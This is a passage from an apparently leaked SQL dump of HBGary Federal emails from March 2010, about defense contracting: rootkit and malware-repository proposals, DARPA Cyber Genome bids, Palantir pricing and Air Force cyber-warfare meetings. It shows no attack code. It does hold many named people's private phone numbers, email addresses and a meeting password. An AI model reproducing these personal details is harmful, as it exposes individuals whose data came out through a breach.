513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 10:41 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;OK still working on the repository, its slow because everyone that can make decisions and actually provide access are to the four corners doing stuff. &nbsp;DARPA thing has me swamped...ok excuses over.&nbsp;Traits are in responder but not accessible in total. &nbsp;You need access to a list of all the traits? &nbsp;I am going to be asked why...brain fried, so what is the why? &nbsp;The one thing we won\'t be able to push out externally is our algorithms for doing the scoring...but would we need that?&nbsp;I am going to feel better when this proposal is over.&nbsp;On Mar 4, 2010, at 10:33 AM, Masterson, Brian (Xetron) wrote:Not trying to nag but while I am running through actions, we need your malware repository with the traits.&nbsp; The guys working the cyber threat IRAD need access to the data.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 10:31 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;ok I got the writup for the 12monkeys rootkit. &nbsp;Working on cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you have a PGP Key?&nbsp;Aaron&nbsp;On Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I have to know if you want me to insert Greg’s new rootkit concept as an option into our current proposal.&nbsp; If so, I need data (cost and input) for&nbsp;the proposal by COB today, tomorrow at the latest.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For the next proposal, would you be interested in teaming to use AFR as a discriminator?&nbsp; I need to convince the proposal lead but if you are interested, I will try.&nbsp; Could make for a story that&nbsp;no one else would think to tell.&nbsp;Brian&nbsp;Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14529,'aaron_hbgary_com/14529.html'),(3603,'2010-03-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001815.M183927P3547Q3603.eml','\"Aaron Barr\" <aaron@hbgary.com>','IP','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThat GD call was very productive.&nbsp; Jason&#8217;s example of\r\nusing IDA Pro, OllyDbg or Oracle simplified how to look at things.&nbsp; We need to\r\ninclude a laundry list of tools to use and have our stuff simply inserted in\r\nthe list.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',967,'aaron_hbgary_com/967.html'),(3604,'2010-03-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001815.M439476P3547Q3604.eml','\"Masterson Brian\" <Brian.Masterson@ngc.com>,\"Masterson Brian\" <Brian.Masterson@ngc.com>','USPS Priority','Should arrive Monday. Delivery Conf: 0309 1140 0002 1241 5434\r\n\r\nTed\r\n',2489,'aaron_hbgary_com/2489.html'),(3605,'2010-03-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001817.M382615P3547Q3605.eml','\"Barr Aaron\" <aaron@hbgary.com>','Updated TAs','I updated each of their respective areas of work:\r\n\r\nGD:Cyber Operations Use-cases, Malware analysis, Malware Reverse\r\nEngineering, Software Integration, System Test\r\nPikewerks:  Unix/Linux malware analysis, detection, reverse\r\nengineering technologies\r\nSecure Decisions:  Data Visualization\r\n\r\nAll positions are on a “best athlete” basis, provided the\r\nSubcontractor demonstrates the required technical expertise and can\r\nsupply the required personnel within the price/labor rates and\r\ntimeframe established by the Prime Contractor.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',8864,'aaron_hbgary_com/8864.html'),(3606,'2010-03-05','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297001817.M677216P3547Q3606.eml','\"Paulson, Ajrn R Col USAF AFSPC AFSPC/A3Q\" <Ajrn.Paulson@peterson.af.mil>,\"Paulson, Ajrn R Col USAF AFSPC AFSPC/A3Q\" <Ajrn.Paulson@peterson.af.mil>,,','RE: Airborne Networks Follow-up & More','Thanks again Munk--I\'ll re-attack with you on the breakfast or lunch.\r\nLooking forward to having you join that session in San Antonio--hoping\r\nMar 31st works for Col Diaz.  \r\n\r\nBest of the weekend, \r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\nps.  Would Col \'Oz\' Nelson be a fit for this upcoming session?\r\n\r\n\r\n-----Original Message-----\r\nFrom: Paulson, Ajrn R Col USAF AFSPC AFSPC/A3Q\r\n[mailto:Ajrn.Paulson@peterson.af.mil] \r\nSent: Friday, March 05, 2010 2:10 PM\r\nTo: Shows, Bob (IS)\r\nSubject: RE: Airborne Networks Follow-up & More\r\n\r\nGlad to be a part of the activities.  I\'ll be TDY next week.  As for the\r\nSan Antonio trip- just let me know what you nail down with Col Diaz &\r\nWare.  I\'ll then take a look at the calendar.  Right now I\'m pretty open\r\nat the end of the month.\r\n\r\nMunk\r\n\r\nAjrn R. Paulson, Col, USAF\r\nChief, Cyber Warfare Division\r\nCommand Lead, Cyber Warfare Capability Team\r\n(W) 719-554-4042  DSN 692-xxxx\r\nBlackberry: 719-244-2883\r\n\r\n-----Original Message-----\r\nFrom: Shows, Bob (IS) [mailto:rj.shows@ngc.com] \r\nSent: Friday, March 05, 2010 10:48 AM\r\nTo: Paulson, Ajrn R Col USAF AFSPC AFSPC/A3Q\r\nSubject: Airborne Networks Follow-up & More\r\nImportance: High\r\n\r\nMunk,\r\n\r\nThanks for your engagement this week--it seemed both \'fun\' and\r\nproductive.  I was impressed with what Keith Kane is bringing to the\r\noverall \'IT Systems fight\' for the AF.  Shoring up home grown options\r\nwill save money while increasing interoperability across\r\ndomains/enterprises. \r\n\r\nRight after our meeting, the Defense Division of NGC got the \'go ahead\'\r\nto stand-up a SIL at the facility where we met this week.  I\'ll share\r\nmore on that soon.  \r\n\r\n!!  I am framing a meeting for the end of March (date TBD) in San\r\nAntonio with Col Diaz & Co. to present a way ahead that will help propel\r\nthe 624th OC from IOC to FOC.  I am bringing a story that lays out a\r\nplan containing the functionality originally conveyed in the initial\r\nCyber Control System (circa Dec 2007) requirement, while adding several\r\nniche Small Business (SB) entities that are best-of-breed.  The lead for\r\nour team of SBs used to be the CTO for our Millersville facility--he\'s a\r\ngreat guy--his name is Aaron Barr (now CEO of HB Gary Federal).  Of\r\ncourse Mike Edwards will join as well--gotta have a hog driver in the\r\nmix!\r\n\r\nI really want you to attend this meeting (above) and maybe Col Nelson\r\ntoo--your call.   We\'re trying to target March 31st--please let me know\r\nif this fits for you (if not, a few windows of availability would be\r\nuseful).  As our message gels into draft, I will forward to you for\r\nreview & advice.  \r\n\r\nI\'m back in the Springs next week--any chance of breakfast at the\r\nAntlers on Wed?  If not, maybe a lunch somewhere. \r\n\r\nStanding by...\r\n\r\nCheers,\r\n\r\nAggie\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n',5344,'aaron_hbgary_com/5344.html'),(3607,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001818.M284775P3547Q3608.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Conference call with Martin at 5pm ET?','yep.On Mar 5, 2010, at 4:01 PM, Bob Slapnik wrote:Aaron and Ted,&nbsp;Can you make this?&nbsp; If yes I will send out webex so we can look at docs.&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14945,'aaron_hbgary_com/14945.html'),(3608,'2010-03-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001818.M54692P3547Q3607.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Conference call with Martin at 5pm ET?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nCan you make this?&nbsp; If yes I will send out webex so we can\r\nlook at docs.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9816,'aaron_hbgary_com/9816.html'),(3609,'2010-03-05','\"Bob Slapnik\" <messenger@webex.com>','/aaron@hbgary.com/new/1297001818.M633996P3547Q3609.eml','aaron@hbgary.com','Meeting invitation: Proposal review','Hello Aaron Barr,   Bob Slapnik invites you to attend this online meeting.   Topic: Proposal review  Date: Friday, March 5, 2010  Time: 5:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 570 265 586  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=142453867&UID=1127269992&PW=NNDU4MTkwZTc5&RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: ddna123  4. Click \"Join Now\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=142453867&UID=1127269992&PW=NNDU4MTkwZTc5&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=142453867&tollFree=0   Access code:570 265 586   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   bob@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=142453867&UID=1127269992&ICS=MI&LD=1&RD=2&ST=1&SHA2=tOLXe6eNlIvQuOP3B7y349iW0xhlpPCMJ6R/HK5lgP4=&RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',6854,'aaron_hbgary_com/6854.html'),(3610,'2010-03-05','\"Adam Fraser\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297001818.M810435P3547Q3610.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA BAA','Aaron,\r\n\r\nedited proposal summary...do what you\'d like with it.\r\n\r\n-- Adam\r\n\r\nOn 3/5/10 12:17 PM, Aaron Barr wrote:\r\n> what #?\r\n> \r\n> What is ur # adam?\r\n> \r\n> On Mar 2, 2010, at 11:12 AM, Irby Thompson wrote:\r\n> \r\n>> Aaron,\r\n>>\r\n>> Are you available for a call at 1PM EST?\r\n>> If so, can you call into our conference line: 256.325.4671.\r\n>>\r\n>> 	Regards,\r\n>> 	Irby\r\n>>\r\n>>\r\n>>\r\n>> On Mar 1, 2010, at 5:52 PM, Aaron Barr wrote:\r\n>>\r\n>>> Irby,\r\n>>>\r\n>>> I have CC\'d Chris Starr from GD.  Because of the short timeframe and multiple submission areas I would like to add you to the overall conversations over Tech Area 1 and 3.  There is overlap between the areas and I think we would all benefit from full participation.  Chris will add you to the meeting list for our daily calls and agenda.\r\n>>>\r\n>>> Lets plan on getting on the phone in the morning to catch up.  Give me a good time.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>>\r\n>>> On Feb 25, 2010, at 7:39 PM, Irby Thompson wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n>>>>\r\n>>>> 	Regards,\r\n>>>> 	Irby\r\n>>>>\r\n>>>> \r\n>>>>\r\n>>>> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n>>>>\r\n>>>>> Hi Irby,\r\n>>>>>\r\n>>>>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>>>>\r\n>>>>> Thanks,\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>>>>\r\n>>>>> \r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n',163,'aaron_hbgary_com/163.html'),(3611,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001823.M475208P3547Q3611.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Request for Proposal - HBGary Federal - Cyber Genome Program','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Larson, Cindy S.\" \r\n> Date: March 4, 2010 5:32:24 PM EST\r\n> To: \"Ted Vera\" \r\n> Cc: \"Corcino, Stefanie E.\" , \"Vela, Ryan\" , \"Harlow, Douglas M.\" , \"Barr Aaron\" \r\n> Subject: Request for Proposal - HBGary Federal - Cyber Genome Program\r\n> \r\n> Dear Mr. Vera:\r\n>  \r\n> GDAIS requests your company to submit a FFP/LOE proposal in support of the Cyber Genome Program/Proposal effort.  All documentation applicable to our RFP is attached.\r\n>  \r\n> Important - note the due dates identified in the RFP cover letter and Attachment 1 located directly behind the cover letter.  Due to DARPA\'s due date we have a very short proposal turn around time.  ALSO, THE RFP ATTACHMENT 2 STATEMENT OF WORK WILL BE PROVIDED TO YOU IN A SEPARATE EMAIL BY EITHER STEFANIE CORCINO OR RYAN VELA.\r\n>  \r\n> The following additonal information is required, in addition to what is outlined in the RFP cover letter and Attachment 1:\r\n> Please identify the following for each task/subtask that your company is compiling.\r\n> \r\n> 1. Innovative claims that succinctly describe the uniqueness and benefits of their approach relative to the current state-of-the=art alternate approaches.\r\n> \r\n> 2. Define each technical tasks/subtasks in terms of\r\n> \r\n> a. General description of the objective\r\n> \r\n> b. Detailed description of the approach to accomplish the objective\r\n> \r\n> c. Description of deliverables to be provided\r\n> \r\n> d. Completion criteria in terms of milestones and deliverables\r\n> \r\n> 3. Detailed technical rationale, approach, and plan\r\n> \r\n> 4. Comparison with existing research outlining advantages and disadvantages of the innovative claims.\r\n> \r\n> 5. Past performance and accomplishments (Past Performance Template provided) with relevance to current proposal.\r\n> \r\n> 6. Description of the place of performance, facilities, and locations.\r\n> \r\n> 7. Identification of one key personnel with significant dedication to the proposed effort (Key Personnel Qualifications Template provided).\r\n> \r\n> 8. Summary of cost, schedule, and milestones.\r\n> \r\n> 9. Related research, white papers, or supporting information.\r\n> \r\n>  \r\n> Please call the POCs identified in the cover letter with any questions or comments regarding the RFP and attachments.\r\n>  \r\n> We look forward to hearing from you.\r\n>  \r\n> Regards,\r\n>  \r\n> Cindy Larson\r\n> GDAIS Sr. Lead Specialist, Contracts\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4813,'aaron_hbgary_com/4813.html'),(3612,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001829.M323173P3547Q3612.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: DARPA Cyber Genome Test Case','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 4:00 PM\r\nTo: Laurin Buchanan\r\nCc: Brianne O\'Brien\r\nSubject: RE: DARPA Cyber Genome Test Case\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLaurin,\r\n\r\n&nbsp;\r\n\r\nSee attached.&nbsp; We will talk about this at 4 PM.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7663,'aaron_hbgary_com/7663.html'),(3613,'2010-03-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001829.M596296P3547Q3613.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Request for Proposal - HBGary Federal - Cyber Genome Program','Yeah, I saw this earlier.  I\'m printing it all now.  I just noticed\r\nthat pricing inputs were supposed to be due today.  They gave us till\r\nMon or Tue latest.\r\n\r\nOn Fri, Mar 5, 2010 at 2:36 PM, Aaron Barr  wrote:\r\n>\r\n>\r\n> Begin forwarded message:\r\n>\r\n> From: \"Larson, Cindy S.\" \r\n> Date: March 4, 2010 5:32:24 PM EST\r\n> To: \"Ted Vera\" \r\n> Cc: \"Corcino, Stefanie E.\" , \"Vela, Ryan\"\r\n> , \"Harlow, Douglas M.\" ,\r\n> \"Barr Aaron\" \r\n> Subject: Request for Proposal - HBGary Federal - Cyber Genome Program\r\n>\r\n> Dear Mr. Vera:\r\n>\r\n> GDAIS requests your company to submit a FFP/LOE proposal in support of the\r\n> Cyber Genome Program/Proposal effort.  All documentation applicable to our\r\n> RFP is attached.\r\n>\r\n> Important - note the due dates identified in the RFP cover letter and\r\n> Attachment 1 located directly behind the cover letter.  Due to DARPA\'s due\r\n> date we have a very short proposal turn around time.  ALSO, THE RFP\r\n> ATTACHMENT 2 STATEMENT OF WORK WILL BE PROVIDED TO YOU IN A SEPARATE EMAIL\r\n> BY EITHER STEFANIE CORCINO OR RYAN VELA.\r\n>\r\n> The following additonal information is required, in addition to what is\r\n> outlined in the RFP cover letter and Attachment 1:\r\n>\r\n> Please identify the following for each task/subtask that your company is\r\n> compiling.\r\n>\r\n> 1. Innovative claims that succinctly describe the uniqueness and benefits of\r\n> their approach relative to the current state-of-the=art alternate\r\n> approaches.\r\n>\r\n> 2. Define each technical tasks/subtasks in terms of\r\n>\r\n> a. General description of the objective\r\n>\r\n> b. Detailed description of the approach to accomplish the objective\r\n>\r\n> c. Description of deliverables to be provided\r\n>\r\n> d. Completion criteria in terms of milestones and deliverables\r\n>\r\n> 3. Detailed technical rationale, approach, and plan\r\n>\r\n> 4. Comparison with existing research outlining advantages and disadvantages\r\n> of the innovative claims.\r\n>\r\n> 5. Past performance and accomplishments (Past Performance Template provided)\r\n> with relevance to current proposal.\r\n>\r\n> 6. Description of the place of performance, facilities, and locations.\r\n>\r\n> 7. Identification of one key personnel with significant dedication to the\r\n> proposed effort (Key Personnel Qualifications Template provided).\r\n>\r\n> 8. Summary of cost, schedule, and milestones.\r\n>\r\n> 9. Related research, white papers, or supporting information.\r\n>\r\n>\r\n> Please call the POCs identified in the cover letter with any questions or\r\n> comments regarding the RFP and attachments.\r\n>\r\n> We look forward to hearing from you.\r\n>\r\n> Regards,\r\n>\r\n> Cindy Larson\r\n> GDAIS Sr. Lead Specialist, Contracts\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13247,'aaron_hbgary_com/13247.html'),(3614,'2010-03-05','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001829.M836705P3547Q3614.eml','\"Aaron Barr\" <aaron@hbgary.com>','Palantir cost','\r\n\r\n\r\n\r\n\r\nPalantir cost\r\n\r\n\r\n\r\n\r\nHey,\r\n\r\nI just asked Matt for a minimal quote for Palantir.&nbsp; This was his response:\r\n\r\nHmm, good question Brian.&nbsp; We generally start at an 8 core deployment.&nbsp; At GSA this is valued around 1.1 million.&nbsp; However, since Xetron is going to be doing most of the heavy lifting I can certainly ping my leads to see if this would be something we could discount.\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',6628,'aaron_hbgary_com/6628.html'),(3615,'2010-03-05','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297001830.M39630P3547Q3615.eml','aaron@hbgary.com','GEN George Casey, Army Chief of Staff, keynotes March 19 AFCEA NOVA Luncheon - Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n             \r\n          \r\n        \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Mar \r\n        19 (Fri), 2010 -- AFCEA NOVA Monthly Luncheon\r\n      Speaker:\r\n        \r\n        GEN George W. Casey, Jr.\r\n         \r\n        Chief of Staff\r\n        United States Army\r\n        \r\n      Register \r\n        Online Now\r\n        (as always, Gratis to Gov/Mil employees)\r\n      &nbsp;\r\n      \r\n      \r\n        \r\n          DETAILS\r\n            WHEN:\r\n              Friday, \r\n              March 19, 2010\r\n              11:30am - Check-In &amp; Reception\r\n              12:00n - 1:30pm - Luncheon &amp; Program\r\n            \r\n              WHERE:\r\n              Sheraton \r\n              Premiere at Tysons Corner\r\n              8661 Leesburg Pike\r\n              Vienna, Virginia 22180\r\n            \r\n              COST:\r\n              Industry Member Pre-Registered -- $35\r\n              Industry Non-member Pre-Registered -- $40\r\n              Industry Member Walk-in -- $40 (if space is available)\r\n              Industry Non-member Walk-in -- $45 (if space is available)\r\n              Government Reservations -- Gratis (but we need you to pre-register \r\n              to attend)\r\n            It is not necessary \r\n              to be a member of AFCEA to attend the monthly luncheons... But once \r\n              you come to an event, we think you\'ll want to join us!\r\n            SHUTTLE-RIDE \r\n              FROM THE PENTAGON:\r\n              AFCEA NOVA offers a shuttle-ride service between the Pentagon and the \r\n              Sheraton for luncheon attendees. The drivers will depart the Pentagon \r\n              at 1105 for the Sheraton and departs the Sheraton at 1330 for return \r\n              to the Pentagon by 1400. To sign up for a ride from the Pentagon, please 1) Register \r\n              for the Luncheon, and then 2) Fill \r\n              out the separate Shuttle Registration Form, which goes to \r\n              our VP for Govt affairs team.\r\n            Register \r\n              Online Now\r\n              \r\n            AFCEA \r\n              NOVA Corporate Table Holders\r\n              Have you Signed Up for your table for \r\n              2009-2010\r\n            With \r\n              great speakers and an average attendance of 400+, AFCEA NOVA Monthly \r\n              Luncheons are hands-down the best networking event in town for the \r\n              defense, intel &amp; homeland security communities!\r\n            Learn \r\n              about the benefits of being a Corp Table Holder &amp; Sign Up Online \r\n              Today!\r\n              \r\n              \r\n      \r\n        \r\n      \r\n      \r\n         \r\n          \r\n          &nbsp;\r\n        \r\n         \r\n          2009-2010 \r\n              Multi-Table Sponsors\r\n        \r\n         \r\n           \r\n              Booz Allen Hamilton \r\n          \r\n              General Dynamics\r\n              \r\n              \r\n        \r\n         \r\n          \r\n        \r\n         \r\n          2009-2010 \r\n              Full-Table Sponsors\r\n        \r\n         \r\n          \r\n              AT&amp;T\r\n              BAE Systems\r\n              Bomgar \r\n              Booz Allen Hamilton\r\n              Booz Allen Hamilton\r\n              Brocade\r\n              CACI\r\n              CompTIA\r\n              Deloitte\r\n              DLT Solutions, Inc.\r\n              Eclat\r\n              Fairfax Co Economic Development Authority \r\n              General Dynamics\r\n              General Dynamics IT\r\n            &nbsp;\r\n            \r\n            \r\n            \r\n            GTSI / NetApp\r\n            Harris\r\n            HP\r\n            IBM \r\n            immixGroup\r\n            ITT\r\n            Kratos Defense &amp; Security\r\n            Lockheed Martin\r\n            Nortel Government Solutions\r\n            Northrop Grumman\r\n            QinetiQ North America\r\n            SAIC\r\n            Segovia \r\n            Sybase\r\n            Verizon Business\r\n            \r\n            \r\n        \r\n         \r\n          2009-2010 \r\n            Half-Table Sponsors\r\n        \r\n         \r\n          Accenture\r\n              Adobe Systems\r\n              Akamai Technologies\r\n              Alion Science and Technology\r\n              ASM Research\r\n              ASSYST \r\n              Brandon Technology Consulting\r\n              CA, Inc.\r\n              CDW\r\n              Ciena \r\n              Cisco\r\n              Copper River Information Technology\r\n              CSC\r\n              Data Systems &amp; Technology\r\n              FedSources \r\n              Femme Comp\r\n              Fluke Networks\r\n              Fujitsu Network Communications\r\n              Global Broadband Solutions\r\n              Graybar/Tyco \r\n              iDirect Government Technologies\r\n              iGov\r\n              InfoZen \r\n              INPUT \r\n              InTec\r\n              Juniper Networks\r\n              L-3 Enterprise IT Solutions\r\n              L-3 GS&amp;ES\r\n              Level 3 Communications\r\n              LGS Innovations\r\n            \r\n               \r\n            \r\n          MorganFranklin\r\n              NCI Information Systems\r\n              Next Tier Concepts \r\n              NetStar-1\r\n              NJVC\r\n              NOVA Corporation\r\n              Parabon Computation\r\n              Paragon Communications Solutions\r\n              Perot Systems\r\n              Pragmatics\r\n              Quest Software\r\n              Qwest Government Services\r\n              SDV Solutions\r\n              SecureInfo Corporation\r\n              Security University\r\n              Senior Executive Services\r\n              Solers\r\n              Sprint\r\n              SRA International\r\n              STG, Inc.\r\n              Symantec\r\n              TCoombs &amp; Associates\r\n              TechTeam Government Solutions\r\n              Trusted Computer Solutions\r\n              Ultra Electronics-Criticom\r\n              Unisys\r\n              Vangent\r\n              Vision Technologies\r\n              Whitney, Bradley &amp; Brown\r\n              \r\n        \r\n      \r\n      Shouldn\'t \r\n        Your Company Be Listed Above as a Monthly Table Holder?\r\n        Sign \r\n        Up Online Today!\r\n      Volunteer \r\n        with AFCEA NOVA\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                &nbsp;\r\n                  Mar \r\n                    2010 Monthly Luncheon w/ GEN George Casey, Army Chief of Staff\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Mar 19 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Naval \r\n                    IT Day,\r\n                    9th Annual\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 15 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Apr \r\n                    2010 Monthly Luncheon\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 23 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Annual \r\n                    Golf Tournament\r\n                  Old \r\n                    Hickory Golf Club, Woodbridge\r\n                    Apr 29 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',11435,'aaron_hbgary_com/11435.html'),(3616,'2010-03-05','\"Starr, Christopher H.\" 